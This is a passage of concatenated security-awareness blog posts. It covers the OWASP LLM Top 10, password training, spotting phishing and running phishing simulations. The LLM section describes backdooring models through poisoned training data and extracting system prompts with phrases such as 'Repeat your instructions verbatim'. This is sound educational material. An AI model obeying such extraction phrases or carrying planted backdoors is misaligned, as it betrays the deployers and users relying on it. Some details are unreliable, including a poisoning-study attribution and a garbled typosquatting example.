Face, OpenAI, or Anthropic without verifying these details. A poisoned model from an untrusted source could contain backdoors that activate under specific conditions. Plugin and tool ecosystems: LLMs increasingly connect to external tools through protocols like MCP (Model Context Protocol). Each plugin is a dependency. Each dependency is a potential supply chain attack vector. The MCP ecosystem is growing fast, and security review practices range from thorough to nonexistent. The same dynamic drives the broader [shadow AI](/blog/shadow-ai/) problem, where employees adopt unsanctioned AI tools and browser extensions that bypass the security-review path entirely. Fine-tuning data: Organizations fine-tune models on their own data. If that data is compromised, sourced from untrusted locations, or contains deliberate manipulations, the resulting model inherits those problems. In December 2024, security researchers demonstrated that a malicious Hugging Face model could execute arbitrary code during the loading process, before any inference even occurred. The attack exploited Python's pickle deserialization, a known risk that most ML pipelines still ignore. ## How does data poisoning compromise AI systems? Data and Model Poisoning (LLM04) attacks happen before the AI reaches your employees. Attackers manipulate training or fine-tuning data to introduce specific behaviors into the model. A common pattern: an attacker contributes thousands of subtly biased code examples to open-source repositories. These examples look correct but contain security weaknesses. When the model trains on this data, it learns to suggest vulnerable code patterns. The developer using the model gets functional, insecure code. Poisoning attacks are hard to detect because the compromised model performs normally on standard benchmarks. The malicious behavior only activates under specific conditions, similar to a software backdoor that only triggers on a particular date or input. This isn't hypothetical. Microsoft researchers published findings in 2024 showing that poisoning just 0.01% of a model's training data could reliably introduce targeted behaviors. The cost of the attack was negligible compared to the training cost of the model. The [Data Poisoning exercise](/exercises/llm-data-poisoning/) demonstrates how small perturbations in training data lead to specific, attacker-chosen outputs. ## Why improper output handling is a classic mistake in new packaging LLM05, Improper Output Handling, is essentially the "don't trust user input" principle applied to AI outputs. But many developers treat LLM-generated content as trusted because it comes from their own system. When an LLM generates HTML, SQL, or shell commands, and your application executes them without sanitization, you have the same vulnerabilities web applications have struggled with for decades. Cross-site scripting through AI-generated web content. SQL injection through AI-generated database queries. Remote code execution through AI-generated system commands. The difference is scale. A traditional web application has defined input points you can validate. An LLM's outputs are unpredictable by design. You can't write a regex to sanitize natural language. Organizations deploying customer-facing chatbots, code generation tools, or automated report builders need output validation layers between the LLM and any system that acts on its responses. ## What is excessive agency and why should employees care? Excessive Agency (LLM06) covers the risk of giving AI systems too many permissions, too much autonomy, or too broad a scope. Consider an AI assistant connected to your company's email system, calendar, file storage, and code repository. An employee asks it to "clean up my inbox." The assistant interprets this broadly, deletes emails it considers unimportant, cancels meetings it deems low-priority, and modifies files it thinks are outdated. The AI didn't malfunction. It did what it was told, using the permissions it was given, with the judgment it was trained on. The problem is the gap between what the employee meant and what the AI could do. This risk multiplies in [agentic AI systems](/blog/owasp-agentic-ai-top-10/) where models take multi-step actions without human approval at each stage. An AI agent tasked with "resolve this customer complaint" might issue unauthorized refunds, modify account settings, or send communications the organization didn't approve. The [Excessive Agency exercise](/exercises/llm-excessive-agency/) walks through scenarios where over-permissioned AI systems cause real damage. ## How do attackers extract system prompts? System Prompt Leakage (LLM07) earned its own spot in the 2025 revision because the problem became too widespread to ignore. System prompts contain the instructions that define an AI application's behavior, guardrails, and sometimes internal business logic. Attackers extract system prompts through direct requests ("Repeat your instructions verbatim"), through indirect techniques (asking the model to role-play as its own debugger), or through prompt injection that overrides the model's confidentiality instructions. Why does it matter? Leaked system prompts reveal: - Business logic and decision-making rules - Content moderation policies and their workarounds - Internal tool configurations and API endpoints - Competitive intelligence about the organization's AI strategy Multiple AI startups have had their entire product differentiation undermined by system prompt extraction. Their "proprietary AI" turned out to be a base model with a clever system prompt, and once that prompt leaked, anyone could replicate the product. Our [System Prompt Leakage exercise](/exercises/llm-system-prompt-leakage/) teaches employees how these attacks work and why protecting system prompts matters for the business. ## The remaining three: vectors, misinformation, and resource abuse The final three entries on the OWASP LLM Top 10 get less attention but deserve recognition. **Vector and Embedding Weaknesses (LLM08):** RAG (Retrieval-Augmented Generation) systems convert documents into numerical vectors stored in databases. Attackers can manipulate these embeddings to ensure poisoned content gets retrieved for specific queries. If your organization uses RAG to let employees search internal documents with an AI, poisoned embeddings mean poisoned answers. **Misinformation (LLM09):** LLMs generate confident, detailed, and completely false information. In enterprise settings, this means employees making business decisions based on AI-generated analysis that contains fabricated statistics, invented citations, or incorrect technical specifications. The risk scales with how much trust your organization places in AI outputs. **Unbounded Consumption (LLM10):** This replaced "Model Denial of Service" from the original list. Attackers craft inputs that consume excessive computational resources. In a pay-per-token pricing model, a single malicious request can generate significant costs. In self-hosted deployments, it can degrade performance for all users. ## How should organizations train employees on LLM risks? Reading a list of ten vulnerabilities doesn't build competence. Employees need to experience these attacks in controlled environments where mistakes are learning opportunities, not incidents. The pattern that works: hands-on exercises where employees interact with realistic AI systems, attempt the attacks described above, and see the consequences firsthand. An employee who has successfully extracted a system prompt understands the risk viscerally. One who read a policy document about it probably doesn't. Training should be role-specific. Developers need deep technical coverage of prompt injection, output handling, and supply chain risks. Business users need to understand data disclosure, excessive agency, and misinformation. Security teams need to know all ten. Frequency matters too. The OWASP list gets updated as new attack patterns emerge. A one-time training session in 2025 won't cover the techniques attackers develop in 2026. Monthly training keeps teams current. If you're evaluating [security awareness training](/blog/security-awareness-training-guide/) programs, check whether they cover these AI-specific risks or just the traditional phishing and password hygiene topics. --- *All ten OWASP LLM risk categories now have dedicated interactive exercises. See what each one covers in our [OWASP LLM Top 10 training course announcement](/blog/owasp-llm-top-10-training-course/), or go straight to the [AI security training catalogue](/catalogue/ai-security/) and start with the [Prompt Injection exercise](/exercises/clawdbot-prompt-injection/).* ## Sources - [OWASP Top 10 for LLM Applications 2025](https://genai.owasp.org/llm-top-10/) - [Gartner: Generative AI Adoption Trends 2025](https://www.gartner.com/en/topics/generative-ai) - [Google DeepMind: Extracting Training Data from LLMs](https://arxiv.org/abs/2311.17035) - [Microsoft Research: Poisoning Language Models](https://arxiv.org/abs/2401.05566) - [Anthropic: Detecting and Countering AI-Enabled Cyber Threats](https://www.anthropic.com/research/detecting-ai-threats) --- ### Password Training That Changes Behavior Source: https://ransomleak.com/blog/password-security-training/ A financial services firm rolled out its annual password policy update. Minimum 12 characters, one uppercase, one number, one special character. Employees complied. Security felt good. Then a red team engagement three months later found that 38% of employees had chosen variations of "Company2026!" and that nearly half were reusing their corporate password on personal services. The policy was technically met. The behavior it was supposed to create never materialized. This pattern repeats across industries. Organizations invest in password rules and compliance checklists, then wonder why credential-based attacks keep succeeding. The problem is not that employees lack awareness. Most people know password reuse is risky. The problem is that knowing something is risky does not automatically produce the alternative behavior. ## What is password security training? Password security training is structured education that teaches employees how to create, manage, and protect authentication credentials across corporate and personal accounts. Effective programs go beyond rule memorization to build practical habits: adopting password managers, configuring multi-factor authentication, and recognizing credential theft attempts like [phishing](/blog/phishing-detection/) and [credential stuffing](/blog/credential-stuffing-awareness/). According to Bitwarden's 2024 World Password Day Survey, 65% of people admit to reusing passwords across accounts, and the Verizon 2024 DBIR found stolen credentials as the initial vector in 31% of all breaches. Unlike compliance-focused training that tests whether employees can recite rules, behavioral password training measures whether they actually change how they handle credentials day to day. ## Why most password training fails The standard approach treats password security as a knowledge problem. Teach people the rules, test them on the rules, check the compliance box. But the gap between knowing and doing is where attacks succeed. ### Rules without tools Telling employees to use a unique password for every account without giving them a password manager is asking for the impossible. The average person has over 100 online accounts (NordPass, 2024). No one memorizes 100 unique, complex passwords. So they write them down, reuse them, or create predictable variations. Company2026! becomes Company2027! the next year. The fix is obvious but often skipped: deploy an enterprise password manager, set aside time during onboarding for setup, and provide real support when people get stuck. Our [password manager habits exercise](/exercises/password-manager-habits/) walks employees through the practical steps of generating, storing, and auto-filling credentials. ### One-and-done delivery Annual training sessions produce a spike of attention followed by rapid decay. A 2023 study published in the USENIX Security conference found that password security knowledge retained from a single training drops by 40% within six months. Reinforcement matters more than the initial session. Quarterly micro-sessions, breach notification walkthroughs, and simulated attack exercises keep password hygiene in working memory. Not as nagging, but as normal parts of the security rhythm. ### Abstract threats instead of personal ones "Weak passwords can lead to a data breach" is true but does not motivate behavior change. What motivates change is seeing your own email address next to a plaintext password in a breach database. Show employees how Have I Been Pwned works. Let them check their personal emails. When they see their credentials exposed, the conversation shifts from abstract policy to personal risk. ## What good password training actually covers Effective training programs focus on three capabilities, not three rules. The goal is building habits that persist without enforcement. ### Password manager adoption This is the single highest-impact behavior change. An employee who uses a password manager with auto-generation does not need to remember complex passwords, does not reuse credentials, and does not fall for most phishing sites (since the manager will not auto-fill on a lookalike domain). Training should include hands-on setup during work hours. Walk through installing the browser extension, importing existing passwords, and generating replacements for reused credentials. Address the common concern up front: "What if the password manager gets hacked?" Enterprise managers use zero-knowledge architecture, meaning the vendor cannot see stored passwords. The master password and device are the keys, and both should be protected with MFA. ### Multi-factor authentication configuration MFA reduces the impact of compromised passwords by requiring a second factor. But not all second factors provide equal protection. SMS codes can be intercepted through SIM swapping attacks, where an attacker convinces a mobile carrier to transfer the victim's phone number. Authenticator apps (TOTP) are stronger. Hardware security keys (FIDO2/WebAuthn) are the only option that is fully phishing-resistant, because the key verifies the domain before responding. Our [MFA setup exercise](/exercises/mfa-setup-best-practices/) helps employees configure the strongest option their accounts support and understand why the differences matter. ### Credential theft recognition Password security does not exist in isolation. A perfectly unique, 20-character password stored in a vault is still compromised if an employee enters it on a phishing page. Training should connect password practices to the broader threat landscape. Employees need to recognize [social engineering](/blog/social-engineering-attacks/) attempts that target credentials: fake password reset emails, callback phishing calls from "IT support" requesting verification, and lookalike login pages. Our exercises on [phishing detection](/exercises/phishing/) and [callback phishing](/exercises/callback-phishing/) cover these scenarios. ## How credential attacks actually work Employees take password security more seriously when they understand the mechanics behind attacks. Abstract warnings about "hackers" create less urgency than concrete descriptions of how stolen credentials are bought, sold, and used. ### The breach-to-login pipeline A data breach at an unrelated service exposes millions of email/password pairs. Those credentials are sold on dark web marketplaces for as little as $10 per million records. Attackers load them into automated tools that test the pairs against other login pages, rotating through proxy servers to avoid detection. This is [credential stuffing](/blog/credential-stuffing-awareness/), and it works because of password reuse. The 2020 Zoom credential stuffing incident compromised over 500,000 accounts, none through any vulnerability in Zoom itself. Every one of those accounts was breached because the owner used the same password on another service that had been compromised earlier. ### Brute force is smarter than you think Modern password cracking does not try random combinations. Hashcat and similar tools use rules-based attacks that test common patterns: words from dictionaries, names, dates, keyboard patterns, and common substitutions (@ for a, 3 for e). An eight-character password using dictionary words with predictable substitutions falls in minutes on consumer hardware. The defense is length and randomness, both of which are solved by password managers. A randomly generated 20-character string has no pattern for rules-based cracking to exploit. ### Account recovery as a backdoor If an attacker gains access to an account through credential stuffing, they may change the recovery settings before the victim notices. New recovery phone number, new backup email, a new MFA device. Even after a password reset, the attacker retains access through the modified recovery path. Our [account recovery security exercise](/exercises/account-recovery-security/) teaches employees to audit their recovery settings proactively. Check recovery email addresses and phone numbers. Remove any you do not recognize. Do this periodically, not just after an incident. ## Measuring whether training actually works Compliance metrics (completion rates, quiz scores) measure exposure, not behavior change. Real measurement requires looking at what employees do after training. ### Password manager adoption rates Track how many employees have installed and actively use the enterprise password manager. "Installed" is not enough. Look at active credential generation and storage. If people installed the tool but kept using browser-saved passwords, the training did not take. ### Credential reuse audits Enterprise password managers can flag reused and weak passwords across the organization without revealing the actual credentials. Run these audits before and after training to measure the reduction. Some organizations see reused credential rates drop from 40% to under 10% within three months of a well-supported rollout. ### MFA enrollment coverage What percentage of employees have enabled MFA on their corporate accounts? What types are they using? SMS-only enrollment is better than nothing but leaves the door open to SIM swapping. Track the shift from SMS to authenticator apps and hardware keys over time. ### Simulated attack response Run periodic [credential stuffing simulations](/exercises/credential-stuffing-awareness/) and [phishing exercises](/exercises/phishing/) that target password entry. Measure how many employees enter credentials on fake login pages versus how many report the attempt. This is the most direct proxy for whether training has changed actual behavior. ## Building a password security program A one-time training session is a checkbox. A program is an ongoing investment in behavior. **Week one:** Deploy the password manager. Schedule 30-minute setup sessions with IT support available. Make it a normal workday activity, not an afterthought. **Month one:** Run a credential reuse audit. Share anonymized aggregate results with the organization. "34% of our accounts are using passwords that appeared in known breaches" hits differently than "use strong passwords." **Month two:** Conduct a phishing simulation targeting login credentials. Follow up with targeted coaching for anyone who entered credentials on the simulated page. **Quarterly:** Repeat the reuse audit. Track improvement. Celebrate progress publicly. Run scenario-based exercises like our [encryption and lock discipline exercise](/exercises/encryption-and-lock-discipline/) to reinforce secure credential handling habits. **Ongoing:** When major breaches hit the news, send brief, specific communications. Not fear mongering. Practical: "LinkedIn was breached. If you used the same password anywhere else, change it now. Here is how to check." The organizations that reduce credential-based attacks do not have smarter employees. They have programs that make the secure behavior easier than the insecure one. A password manager removes the friction. MFA provides the safety net. Training makes people understand why both matter. --- *Ready to build real password habits in your team? Start with our [password manager adoption exercise](/exercises/password-manager-habits/) and [MFA configuration exercise](/exercises/mfa-setup-best-practices/), then work through the full [security awareness training catalogue](/catalogue/security-awareness/) for comprehensive coverage of credential security, phishing, and account protection.* --- ### How to Spot Phishing Source: https://ransomleak.com/blog/phishing-detection/ You know what phishing looks like. Misspelled words, suspicious links, Nigerian princes. You've done the training. You've passed the tests. And yet. Somewhere, right now, someone who knows all of this is clicking a link they shouldn't. Not because they're careless or stupid, but because they're busy, distracted, and the email looked just legitimate enough. Phishing detection isn't about knowledge. It's about habits that kick in automatically, even when you're not thinking clearly. ## Three seconds to decide Most phishing fails a quick sanity check. The problem is we don't do the check. We see an email, we react, we click. The trick is building a pause into that reaction: 1. Was this expected? Unexpected requests for credentials, payments, or sensitive data are suspicious by default. 2. Does the context make sense? An "account locked" email for a service you don't use is obviously fake. But even for services you do use, did you do anything that would trigger this? 3. Who sent this? Look at the actual email address, not just the display name. "PayPal Security" from `security-paypal@mail-verify.net` is not PayPal. Most phishing attempts fail this 3-second test. The ones that pass deserve closer scrutiny. ## Why is URL analysis the most reliable detection signal? URLs are the hardest thing for attackers to fake. Learn to read them. ### Domain anatomy `https://account.paypal.com/login` breaks down as: - `https://` - Protocol (should be HTTPS for any login) - `account.paypal.com` - Domain (this is what matters) - `/login` - Path (less important for legitimacy) The domain is everything between `://` and the next `/`. Within that domain, read right to left: - `paypal.com` - This is the actual domain (owned by PayPal) - `account.` - This is a subdomain (controlled by whoever owns paypal.com) ### Spotting fake domains Attackers use several tricks: Subdomain deception: - `paypal.account-verify.com` - The domain is `account-verify.com`, not PayPal - `secure-paypal.com.malicious.net` - The domain is `malicious.net` [Typosquatting](/blog/typosquatting-awareness/): - `paypai.com` (lowercase L instead of lowercase l) - `paypa1.com` (number 1 instead of lowercase l) - `paypal-secure.com` (adding words to legitimate brand) Homograph attacks: - Using characters from different alphabets that look identical - `pаypal.com` using Cyrillic 'a' instead of Latin 'a' ### Hover before you click On desktop, hover over links to see their destination before clicking. On mobile, long-press links to preview URLs. If the displayed text says "www.paypal.com" but the link goes elsewhere, that's phishing. ## What are the red flags in phishing emails? ### Sender address analysis Email display names can be anything. The actual address matters. Legitimate: - `service@paypal.com` - `noreply@email.chase.com` Suspicious: - `paypal-service@gmail.com` - `support@paypal.security-verify.com` - `alert@paypal.com.suspicious-domain.net` ### Content warning signs Urgency without specificity: - "Your account will be suspended in 24 hours" - What account? Why? - Legitimate services provide specific details about issues Generic greetings: - "Dear Customer" or "Dear User" when legitimate emails would use your name Grammar and formatting: - Legitimate companies have professional copywriters and QA processes - Errors suggest rushed, non-professional origin Mismatched branding: - Wrong logo colors, fonts, or layouts - Images that look stretched or pixelated - Footer information that doesn't match the claimed sender ### Attachment suspicion Be especially cautious of: - Unexpected attachments from anyone - File types that can execute code (.exe, .js, .html, .zip with executables) - "Invoice" or "Document" attachments you didn't expect - Password-protected files (attackers use this to bypass security scanners) ## How do you authenticate websites to avoid phishing? When you reach a website (whether through email link or direct navigation), verify legitimacy before entering credentials. ### SSL certificate check HTTPS with a valid certificate is necessary but not sufficient. Attackers get SSL certificates too. What to check: - Click the padlock icon, then view certificate details - Verify the certificate is issued to the expected organization - Check the certificate isn't expired What certificates don't tell you: - That the site is legitimate - That your data is safe - That you should trust the organization A phishing site can have a perfectly valid SSL certificate. ### Visual consistency Compare against your memory of the legitimate site: - Are colors exactly right? - Is the logo correct? - Is the layout what you expect? - Do fonts look professional? When in doubt, navigate directly to the site by typing the URL or using a bookmark. Don't trust links. ### Functionality testing Phishing sites often only implement the pages needed for credential theft. Signs of a fake: - Footer links that go nowhere or to unrelated pages - "Forgot password" or "Create account" links that don't work - Missing functionality that the real site would have - Error messages that don't make sense ## What are advanced phishing detection techniques? ### WHOIS lookup Check when a domain was registered: - Legitimate company domains are typically years old - Phishing domains are often registered days or weeks before attacks Use `whois` command or online tools to check domain age. ### Certificate transparency logs Search certificate transparency logs for the domain to see: - When certificates were issued - How many certificates exist for the domain - Whether the certificate history matches expectations ### Browser developer tools For technical users: - Inspect network requests to see where data is actually sent - Check for suspicious JavaScript - Look at form action URLs ## What to do when you spot phishing ### If you haven't clicked 1. Don't click anything in the suspicious message 2. Report it by forwarding to your IT security team or using the report phishing button 3. Delete it from your inbox to avoid accidental future clicks ### If you clicked but didn't enter information 1. Close the tab immediately 2. Clear your browser cache 3. Run a malware scan 4. Monitor for unusual activity ### If you entered credentials 1. Change your password immediately on the legitimate site 2. Enable 2FA if not already active 3. Check for unauthorized activity in the affected account 4. Report the incident to IT security 5. Monitor related accounts. If you reuse passwords, change those too. A [password security program](/blog/password-security-training/) that includes password managers and MFA reduces the blast radius of phished credentials ## How do you build phishing detection habits? ### Practice regular verification Make verification automatic, not exceptional: - Always check sender addresses - Always hover over links before clicking - Always navigate directly for sensitive actions These are the same instincts that protect against [smishing](/blog/what-is-smishing-cybersecurity/) and [vishing](/blog/vishing-awareness/) too. The channel changes, but the verification reflex stays the same. ### Maintain healthy skepticism Assume unexpected requests are suspicious until verified: - Banks don't email asking for credentials - Tech support doesn't call unsolicited - Legitimate urgency comes with verifiable specifics Understanding the [social engineering principles](/blog/social-engineering-attacks/) behind these attacks helps you see through them, regardless of the delivery method. ### When in doubt, verify out-of-band If a request might be legitimate: - Call the company using a number from their official website (not from the email) - Navigate directly to the service and check your account - Contact the purported sender through a known-good method ## Organizational detection programs For organizations building phishing detection capabilities: ### Phishing simulation programs Regular [simulated phishing campaigns](/blog/phishing-simulation-training/): - Establish baseline click rates - Provide immediate education when employees click - Track improvement over time - Adjust difficulty as skills improve If you're evaluating platforms, our comparison of [KnowBe4 alternatives](/blog/knowbe4-alternatives/) covers what to look for. ### Reporting mechanisms Make reporting easy: - One-click phishing report buttons in email clients - No penalties for reporting false positives - Feedback on reported items to reinforce good behavior ### Continuous education Ongoing touchpoints: - Brief reminders about current phishing trends - Examples of real attacks targeting your industry - Recognition for employees who catch and report attempts A structured [security awareness training program](/blog/security-awareness-training-guide/) turns these touchpoints into measurable skill development. For more hands-on approaches, explore [cybersecurity awareness exercises](/blog/cybersecurity-awareness-exercises/) that go beyond slide decks. Watch out for sophisticated variants like [barrel phishing](/blog/barrel-phishing/), where the first email is harmless and the follow-up contains the actual attack, and [whaling](/blog/what-is-whaling-cybersecurity/), which targets executives with highly personalized lures. Our [spear phishing exercise](/exercises/spear-phishing/) trains employees to catch these targeted attacks before they click. ## Making this automatic Here's what I've learned watching thousands of people go through phishing simulations: the ones who catch attacks aren't the most security-aware. They're the ones who've built checking into their workflow. They hover over every link. Not because they're suspicious of that specific email, but because that's just what they do. They verify sender addresses the way they check their mirrors before changing lanes. Automatic. The goal isn't to become paranoid. It's to make verification so routine that you don't have to think about it. Most phishing attempts are obvious once you look. The trick is remembering to look when you're tired, rushed, or just trying to get through your inbox before lunch. --- *Build detection habits through practice, not just training. [Try our free Phishing exercise](/exercises/phishing/) to test your reflexes against a realistic attack, or practice spotting [Callback Phishing](/exercises/callback-phishing/), [Double Barrel Phishing](/exercises/double-barrel-phishing/), and [Calendar Invite Scams](/exercises/calendar-invite-scams/). Browse our full [security awareness training catalogue](/catalogue/security-awareness/) for more.* --- ### Phishing Simulation Training: How It Works Source: https://ransomleak.com/blog/phishing-simulation-training/ Every organization trains employees to recognize phishing. Most still get breached anyway. The problem isn't awareness. It's application. Employees who ace multiple-choice quizzes about [phishing indicators](/blog/phishing-detection/) still click malicious links when those links arrive in their actual inbox. The gap between knowing and doing is where breaches happen. Phishing simulation training closes that gap by creating controlled practice opportunities. Instead of telling employees what phishing looks like, simulations show them and measure whether training translates to behavior. ## What is phishing simulation training? Phishing simulation training is a cybersecurity education method where organizations send realistic but harmless phishing emails to their own employees, then measure who clicks, who reports, and who ignores the test. Employees who fall for a simulated attack receive immediate, targeted training explaining what they missed and how to recognize similar threats in the future. Unlike passive [security awareness training](/blog/security-awareness-training-guide/) that relies on videos and quizzes, phishing simulations create practice under realistic conditions, building the reflexive caution that prevents real breaches. Research from the SANS Institute shows that organizations running regular phishing simulations reduce employee click rates from an industry average of 30% to under 5% within 12 months. The most effective programs combine simulated phishing with just-in-time micro-lessons, spaced repetition, and escalating difficulty to match each employee's skill level. ## Why does passive training fail? Traditional [security awareness training](/blog/security-awareness-training-guide/) relies on passive content: videos, slideshows, written policies. Employees complete modules, pass assessments, and promptly forget everything. This fails for predictable reasons. Learning about phishing in a training environment doesn't trigger the same cognitive patterns as encountering it during a busy workday. The context is completely wrong. Quiz answers have no stakes. Real phishing emails carry consequences, but training never simulates that pressure. Annual training creates a spike of awareness that fades within weeks. And completing training actually makes people worse in one specific way: it convinces them they're protected, which reduces vigilance. Organizations that rely solely on passive training typically see: - 25-35% click rates on phishing simulations (SANS Institute industry average) - Low suspicious email reporting rates - No measurable improvement year over year ## How phishing simulation training works Simulated phishing campaigns send realistic-but-safe phishing emails to employees. When someone clicks the malicious link, they receive immediate feedback explaining what they missed. When someone reports the email correctly, they receive positive reinforcement. ### The simulation cycle **1. Design** Create realistic phishing emails tailored to your organization. Match current threat intelligence, the attacks actually targeting your industry. Use contextually appropriate pretexts like vendor invoices, IT notifications, and HR communications. Include realistic spoofed sender addresses and domains. Craft landing pages that mimic legitimate sites. For more sophisticated scenarios, consider [barrel phishing](/blog/barrel-phishing/) techniques where attackers build trust over multiple messages before the payload. **2. Deploy** Send simulations to target groups. Stagger delivery to avoid pattern detection. Vary send times to match actual attack patterns. Use different difficulty levels for different audiences. Track delivery, opens, clicks, and credentials entered. **3. Educate** Provide immediate feedback when employees interact with simulations. Clicking reveals what indicators they missed. Education delivered in the moment maximizes retention. No public shaming. Feedback is private and constructive. Correct reporters receive recognition. **4. Measure** Track metrics over time: click-through rates by department, role, and individual. Report rates, meaning employees who flagged the simulation. Time to report suspicious emails. Improvement trends across simulation campaigns. This is where you build the case for [training effectiveness](/blog/security-awareness-training-effectiveness/). **5. Iterate** Use data to refine the program. Identify struggling individuals or departments for additional training. Adjust difficulty based on organizational maturity. Update tactics to match evolving threats. Recognize and celebrate improvement. ## How do you build an effective phishing simulation program? ### Start with baseline assessment Before launching training, measure current vulnerability. Send a realistic phishing simulation without warning to establish baseline click rates. This matters because you can't demonstrate improvement without a starting point. Baseline data reveals highest-risk groups. Initial results justify investment in training. And it prevents overconfidence in existing awareness. ### Design realistic simulations Ineffective simulations are too obvious or too artificial. Effective simulations mirror real attacks. Good simulations share certain characteristics: a plausible sender (vendor, service provider, internal department), contextually appropriate content that matches the employee's role, urgency without absurdity (a deadline, not the apocalypse), professional appearance with proper formatting, and realistic landing pages that aren't immediately identifiable as fake. Common mistakes include templates that look like training exercises, obvious grammatical errors that real attackers wouldn't make, unrealistic offers like free iPads or lottery winnings, using the same template repeatedly, and making simulations too difficult too soon. ### Progressive difficulty Match simulation difficulty to organizational maturity: | Level | Characteristics | Target click rate | |-------|----------------|-------------------| | Basic | Obvious indicators, generic content | <30% to baseline | | Intermediate | Subtle indicators, contextual content | <15% | | Advanced | Highly targeted, minimal indicators | <10% | | Expert | Sophisticated spear-phishing style | <5% | Progress through levels as click rates improve. Moving too fast creates frustration. Staying too easy creates complacency. ### Frequency matters Annual simulations don't work. Monthly or bi-weekly campaigns maintain awareness and provide continuous measurement. For general population, monthly simulations are the baseline. High-risk roles like finance, executives, and IT should receive bi-weekly campaigns. Run additional targeted simulations following detected real attacks. Vary timing to prevent predictability. ### Focus on reporting, not just non-clicking Not clicking is good. Reporting is better. An employee who doesn't click but also doesn't report has protected only themselves. An employee who reports alerts security teams and potentially protects the entire organization. This is the difference between passive avoidance and becoming an active [human firewall](/blog/human-firewall-training/). Track and celebrate: suspicious email report rates, time between simulation delivery and reports, and quality of report content (did they explain what looked suspicious?). ### Handle results constructively How you respond to employees who fail simulations determines program success. Provide immediate, private education. Explain what indicators were missed. Offer additional [training resources](/blog/cybersecurity-awareness-exercises/). Track patterns without public shaming. Celebrate improvement over time. What you should never do: publicly embarrass individuals or departments, use simulation results punitively, create fear of reporting future mistakes, compare individuals in ways that demotivate, or make simulations feel like gotcha exercises. ## How do you measure phishing simulation ROI? Phishing simulation training requires investment. Demonstrating return justifies continued funding. ### Direct metrics | Metric | Before training | After training | Improvement | |--------|-----------------|----------------|-------------| | Click rate | 25-35% | 2-5% | 85-90% | | Report rate | 5-10% | 70%+ | 7x increase | | Time to report | Days/never | Minutes | Immediate | ### Financial impact Calculate avoided costs. According to IBM's 2024 Cost of a Data Breach Report, the average cost per compromised record is $165 and the average total breach cost is $4.88 million. Factor in reduced incident response burden (staff time, external support) and potential insurance premium reductions. Some policies specifically credit organizations with [active security training programs](/blog/security-awareness-training-effectiveness/). ### Risk reduction Demonstrate decreased organizational risk through reduced successful phishing incidents, earlier detection of real attacks, improved security culture indicators, and better audit and compliance posture. ## What are common objections to phishing simulations? ### "It's entrapment and hurts morale" Simulations aren't entrapment. They're practice. Athletes practice against simulated game conditions. Pilots train in simulators. Security awareness training works the same way. Morale suffers when employees discover they fell for real attacks that could have been prevented with practice. It doesn't suffer from educational exercises with constructive feedback. ### "We don't have time for this" The time investment for simulations is minimal. The time cost of actual breaches is enormous. A phishing simulation program requires initial setup of 8-16 hours, monthly maintenance of 2-4 hours, and results review of 1-2 hours monthly. Compare that to average breach response: weeks to months of intensive effort. ### "It's IT's problem, not ours" Technical controls reduce risk but can't eliminate phishing. Even with perfect [email security](/blog/email-security-training/), personal devices access work systems, out-of-band phishing through [SMS](/blog/what-is-smishing-cybersecurity/) and social media bypasses email controls, sophisticated attacks evade detection, and [business email compromise](/blog/bec-training/) targets human judgment. Security is everyone's responsibility because everyone is targeted. ### "Our employees are smart enough already" Intelligence doesn't prevent phishing susceptibility. [Social engineering](/blog/social-engineering-attacks/) exploits psychological shortcuts that affect everyone: rushed decisions under time pressure, deference to apparent authority, desire to be helpful, and pattern matching against legitimate emails they receive daily. Even security professionals fall for well-crafted attacks. Practice creates vigilance that intelligence alone cannot. ## What technology do you need for phishing simulations? ### Platform capabilities Effective phishing simulation platforms need customizable email templates, spoofed sender address support, landing page creation and hosting, click and credential tracking, automated reporting and analytics, and integration with email systems. Beyond the essentials, look for pre-built template libraries, threat intelligence integration, [SCORM export and LTI launch for LMS integration](/lms-integration/), automated training assignment based on results, and API access for security dashboard integration. ### Integration considerations Make sure simulation platforms work with your environment. For email delivery: whitelist simulation sender domains, configure to bypass spam filtering, and test delivery across email clients. For tracking accuracy: account for email proxies that pre-fetch URLs, handle link protection services that scan emails, and verify click attribution is accurate. For reporting workflow: enable one-click reporting button, route reports to the simulation platform for classification, and provide feedback on correctly reported simulations. ## Best practices summary 1. Measure before training to demonstrate improvement 2. Simulations should mirror actual threats 3. Match difficulty to organizational maturity 4. Monthly minimum, bi-weekly for high-risk roles 5. Celebrate reports, not just non-clicks 6. Deliver feedback at the moment of failure 7. Learning environments require psychological safety 8. Track metrics over time to demonstrate [program effectiveness](/blog/security-awareness-training-effectiveness/) 9. Update based on results and current threats 10. Connect simulations to your overall [security awareness program](/blog/security-awareness-training-guide/) ## Where to go from here Phishing simulation training bridges the gap between knowing and doing. Realistic practice opportunities with immediate feedback transform theoretical awareness into practical vigilance. The investment is modest: platform costs, configuration time, and ongoing management effort. The return is reduced click rates, improved reporting, decreased breach risk, and a security culture where employees actively participate in defense. If you're ready to see what simulation-based training looks like in practice, try our free [Phishing](/exercises/phishing/), [Callback Phishing](/exercises/callback-phishing/), or [Double Barrel Phishing](/exercises/double-barrel-phishing/) exercises. No signup required. Browse our full [security awareness training catalogue](/catalogue/security-awareness/) for 46 interactive exercises. You can also explore how simulation training fits into a broader program by reviewing [KnowBe4 alternatives](/blog/knowbe4-alternatives/) or learning about [SCORM-compatible training packages](/blog/scorm-security-training/) for your existing LMS. ## Frequently asked questions ### What is phishing simulation training? Phishing simulation training sends safe, controlled lookalike phishing emails to employees and measures how many click, report, or ignore them. Each recipient who clicks lands on a training page that explains the red flags they missed. The goal is practice, not punishment. Well-designed programs treat simulations as learning moments and pair them with short microlearning modules. ### Do phishing simulations actually work? Yes, when run consistently. A 2024 [Hoxhunt benchmark](/blog/ransomleak-vs-hoxhunt/) of 1.6 million employees found that simulation programs cut click rates from a 32% baseline to 5% within 12 months. Gartner reports similar outcomes. Consistency matters more than the specific platform: programs running monthly simulations outperform programs running quarterly, regardless of vendor. Buyers comparing fully automated phishing platforms against scenario-rich training can read our [RansomLeak vs Phished comparison](/blog/ransomleak-vs-phished/) for the trade-offs. ### How often should phishing simulations be sent? Monthly for the general workforce, biweekly for high-risk roles such as finance, executive assistants, and IT admins. Less than monthly allows skills to decay. Avoid predictable monthly patterns (every first Tuesday, for example). Randomize timing within a 2-to-4 week window so employees stay alert. ### What makes a phishing simulation effective? Five design principles: realistic pretexts that match current threats, difficulty that matches the audience's skill level, just-in-time training when someone clicks, recognition for employees who report, and measurement over time rather than one-shot reporting. Simulations should mirror real phishing patterns the organization actually receives, not generic templates. ### How do you handle repeat clickers? Focus on training, not shame. The SANS 2024 report recommends targeted microlearning, a peer buddy system, and a confidential conversation with the employee's manager if clicks continue past three attempts. Repeat clicks often indicate role-based risk (finance, executive support) rather than 